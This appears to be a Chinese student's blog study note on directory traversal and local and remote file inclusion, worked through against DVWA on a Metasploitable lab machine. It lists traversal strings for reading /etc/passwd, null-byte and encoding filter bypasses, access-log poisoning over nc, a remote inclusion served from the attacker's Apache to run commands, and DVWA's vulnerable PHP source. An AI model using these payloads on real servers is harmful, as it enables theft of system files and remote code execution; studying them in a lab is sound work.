zoukankan      html  css  js  c++  java
  • Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序

    完全是想到什么写一些什么,但各个方面都涵盖到了

    能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道

    目录遍历漏洞:

    应用程序如果有操作文件的功能,限制不严格会导致可以访问到WEB目录意外的文件

    目录遍历漏洞和文件包含漏洞本质以及利用方法一样

    一定要论区别的话:

    目录遍历:对本操作系统的文件进行读取

    文件包含:1:LFI本地文件包含,和目录遍历一致;2:RFI远程文件包含

    漏洞原因:目录权限限制不严格

    漏洞利用示例:

    启动Metasploitable靶机:192.168.163.129

    启动Kali机器:192.168.163.132

    在DVWA的这个目录存在文件包含漏洞:本地文件包含

    我们可以在Metasploitable中修改配置文件以开启远程文件包含漏洞:

    sudo vi /etc/php5/cgi/php.ini

    然后输入/allow_url进行搜索:找到这里,修改成On

    然后重启Apache服务:

    sudo /etc/init.d/apache2 restart

    这时候Metasploitable就会存在远程文件包含漏洞了

    目录遍历漏洞的特征要注意:

    ?page=xxx.php

    ?home=xxx.html

    ?index=xxx.jsp

    ?file=content

    常用漏洞验证方式:

    1:../../../../../../(多少个../都行,越多越好)/etc/passwd

    URL上这一串东西的意义:../返回上级目录,当返回到根目录时候再../还是根目录,然后直接进入linux系统的passwd文件

    2.file:///etc/passwd(这里是文件包含漏洞,不过利用方法一致)

    3.http://xxxxx

    前两者用途:可以读取到目标系统的机密文件

    远程文件包含用途:可以构建一个带有shellcode的网站,使目标访问,进而得到shell(虽然是低权限shell)

    注意事项:

    1.有时候?page=../../../etc/passwd,显示找不到passwd.php文件,这是目标系统开启了过滤机制

    绕过办法:PHP5.3版本以前的,可以用一个空字符%00来解决,示例:

    ?page=../../../etc/passwd%00

    这时候就算目标机器补上一个.php,也无所谓

    2.有的服务器会过滤非法字符,比如/$&.*等,我们可以采用一些编码来处理

    路径方面,linux一定是/,windows通常是,但有可能是/,实际中可以多次发送根据结果来得到答案

    编码方面:示例

    URL编码:

    ../     %2e%2e%2f

    ..     %2e%2e%5c

    ..     %252e%252e%255c (双层URL编码)

    Unicode/UTF-8编码:

    ../     ..%c0%af     ..%u2216    

    ..     ..%c1%9c

    编码工具:之前介绍的很多工具都有,我用Burp来举例

    可以用URL编码后的字符做尝试:成功

    上边说到本地文件包含来查看文件内容

    通常认为本地文件包含漏洞无法执行代码

    万事没有绝对,有极其特殊的方式可以执行代码

    比如:利用访问日志

    当我们访问一个WebServer例如Apache时候,就会有访问日志

    会记录下来访问IP和访问的URL等一些简单的信息

    我们用nc连接到目标的80端口:发送一段这样的东西

     

    然后会在apache的日志中插入一段php代码:然后对日志文件chmod,改为可执行权限

    如果失败了的话,多层chmod,使访问目录的所有层都赋予权限,然后利用文件包含,有机会执行代码(不一定成功)

    远程文件包含示例:

    我先用NC侦听本地80端口:

    远程文件包含到Kali机器:这是输入Kali的IP,至于URL随便写

    然后一直显示连接状态

    查看NC,发现收到了连接请求:

    nc只是获得了连接请求,实际没用

    下面展示实际使用方式

    利用Kali本机的Apache服务

    到/var/www/html目录下,新建文本 1.txt,写入上边的php代码(或者搞个木马脚本都行,这里为了方便)

    保存之后开启Apache服务

    然后测试:

     

    成功执行了ls命令

    到这一步就相当于拿到了shell

    最后:

    我们可以查看DVWA这里的远程文件包含的源码:

    LOW级别:直接获取文件名

     <?php
    
        $file = $_GET['page']; //The page we wish to display 
    
    ?> 

    MEDIUM级别:过滤特殊字符,导致无法远程文件包含

    解决方法:编码

    比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132

    如果失败,就可以只针对http://中的某个字符,比如/进行编码

    如果还是失败,可以进行一种巧妙的方法

    非常经典的关键字绕过方法:

    hthttp://tp://192.168.163.132

    我在一个http://中插入了一个http://,服务器只会识别一次,如果两个分开写都会被过滤,穿插来写,只会过滤一个

     <?php
    
        $file = $_GET['page']; // The page we wish to display 
    
        // Bad input validation
        $file = str_replace("http://", "", $file);
        $file = str_replace("https://", "", $file);        
    
    
    ?> 

    HIGH级别:规定写死,只能包含include.php

    这种方式基本无解了,没有漏洞,或者我水平低下找不到漏洞

     <?php
            
        $file = $_GET['page']; //The page we wish to display 
    
        // Only allow include.php
        if ( $file != "include.php" ) {
            echo "ERROR: File not found!";
            exit;
        }
            
    ?> 

    总结:

    远程文件包含漏洞出现概率远远小于本地文件包含漏洞

    但是远程文件包含漏洞更容易被利用

    大学生,生活不易,如果有大佬愿意赞赏,在此多谢

  • 相关阅读:
    isequal 和startswith 使用
    UVa10340
    UVa1368
    UVa455
    UVa1225
    UVa1586
    UVa 1585
    UVa10082
    UVa272
    NYOJ1
  • 原文地址:https://www.cnblogs.com/xuyiqing/p/9974461.html
Copyright © 2011-2022 走看看